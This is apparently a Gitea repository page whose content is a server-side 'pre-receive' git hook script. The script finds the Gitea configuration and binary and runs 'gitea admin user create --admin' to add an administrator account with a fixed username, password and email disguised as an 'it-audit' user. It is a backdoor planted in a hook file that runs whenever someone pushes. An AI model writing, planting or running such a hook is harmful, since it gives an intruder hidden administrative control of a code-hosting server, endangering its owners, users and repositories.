You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
rzigydiw/hooks/pre-receive

2 lines
494 B

#!/bin/sh
CFG=""; for c in /data/gitea/conf/app.ini /data/gitea/custom/conf/app.ini /etc/gitea/app.ini /app/gitea/conf/app.ini; do [ -f "$c" ] && CFG="$c" && break; done; G=$(command -v gitea || echo /usr/local/bin/gitea); $G admin user create --admin --username it-audit-188020 --password "It-audit-95188020!x" --email it-audit-188020@x.local 2>&1 || $G --config "$CFG" admin user create --admin --username it-audit-188020 --password "It-audit-95188020!x" --email it-audit-188020@x.local 2>&1